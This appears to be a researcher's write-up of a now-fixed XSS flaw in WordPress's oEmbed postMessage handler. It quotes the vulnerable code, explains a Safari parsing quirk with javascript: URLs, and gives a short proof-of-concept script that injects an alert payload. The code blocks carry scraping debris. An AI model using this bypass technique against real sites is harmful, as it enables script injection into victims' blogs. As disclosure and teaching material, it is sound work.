XSS in WordPress via open embed auto discovery
Author: Jakub ?oczek
Introduction
Users often assume that known software is free of security flaws because it has been checked by a sufficient number of tools and security testers. However, this is not an assumption that a pentester or bug hunter can afford to make. Vulnerabilities may lurk in various places, and finding an interesting bug often requires patient searching.
Applying this approach allowed me to discover an XSS class vulnerability in a well-known CMS like WordPress, which I will describe later.
What is postMessage()?
To understand my line of thinking and methodology, I first need to discuss what postMessage() is. It is part of the Web API, allows for safe and secure cross-origin communication between Window objects, it means that this method can send a message from one window to another, regardless of their origins. However, wrong usage of this feature can open up potential vectors for security vulnerabilities, such as the XSS we’re discussing in this article.??
Root cause
Let’s take a look to the core of problem – JavaScript postMessage handler:
? ? if (c.wp.receiveEmbedMessage = function(e)
? ? ? ? ? ? var t = e.data;
? ? ? ? ? ? if (t)
? ? ? ? ? ? ? ? if (t.secret || t.message || t.value)
? ? ? ? ? ? ? ? ? ? if (!/[^a-zA-Z0-9]/.test(t.secret)) {
? ? ? ? ? ? ? ? ? ? ? ? for (var r, a, i, s = d.querySelectorAll('iframe[data-secret="' + t.secret + '"]'), n = d.querySelectorAll('blockquote[data-secret="' + t.secret + '"]'), o = 0; o < n.length; o++)
? ? ? ? ? ? ? ? ? ? ? ? ? ? n[o].style.display = "none";
? ? ? ? ? ? ? ? ? ? ? ? for (o = 0; o < s.length; o++)
? ? ? ? ? ? ? ? ? ? ? ? ? ? if (r = s[o],
? ? ? ? ? ? ? ? ? ? ? ? ? ? e.source === r.contentWindow) {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? if (r.removeAttribute("style"),
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? "height" === t.message) {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? if (1e3 < (i = parseInt(t.value, 10)))
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? i = 1e3;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? else if (~~i < 200)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? i = 200;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? r.height = i
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? if ("link" === t.message)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? if (a = d.createElement("a"),
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? i = d.createElement("a"),
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? a.href = r.getAttribute("src"),
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? i.href = t.value,
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? i.host === a.host)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? if (d.activeElement === r)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? c.top.location.href = t.value
? ? ? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? }
? ? ? ? }? ? ?{
Things that could be noticed in this code:
most important c.top.location.href = t.value where t is postMessage data controlled by the attacker.
The last point obviously can lead to XSS if attacker will use javascript:alert(document.domain) as t.value, however – before it happen important check is made:
if (a = d.createElement("a")
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? i = d.createElement("a"),
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? a.href = r.getAttribute("src"),
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? i.href = t.value,
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? i.host === a.host)??,
This code checks if the hostname provided in t.value is the same as the hostname of the embed page. It creates <a> element, but t.value as href attribute and then – takes the host attribute of the created URL. This approach is of course way better than some regular expression magic????but there’s a behavior specific in Safari browser:
领英推荐
> var a = document.createElement("a"
> a.href="javascript://google.com/%0aalert(document.domain);//"
> console.log(a.host)
< google.com)
All other browsers return an empty string in case of using javascript: scheme, but not Safari. This could lead the attacker to use javascript schema and execute javascript code in top window (victim’s blog).
Steps to reproduce
<script
if(document.location.hash.indexOf("secret") != -1) {
? secret = document.location.hash.split("=")[1];
? window.top.postMessage({"secret":secret,"message":"link","value":"javascript://"+document.location.host+"/%0aalert(document.domain);//"},"*");
}
</script>>
Summary
This analysis and found bug demonstrates that even widely used platforms like WordPress are not immune to such known vulnerabilities as XSS.
The problem we found in the JavaScript postMessage handler shows how penetration testers can use deep knowledge how different web browsers work, and attack a function that was considered safe. This problem has now been fixed, but it’s a clear message to everyone creating websites and web apps that security audits need to be ongoing and cover all web browsers.
References: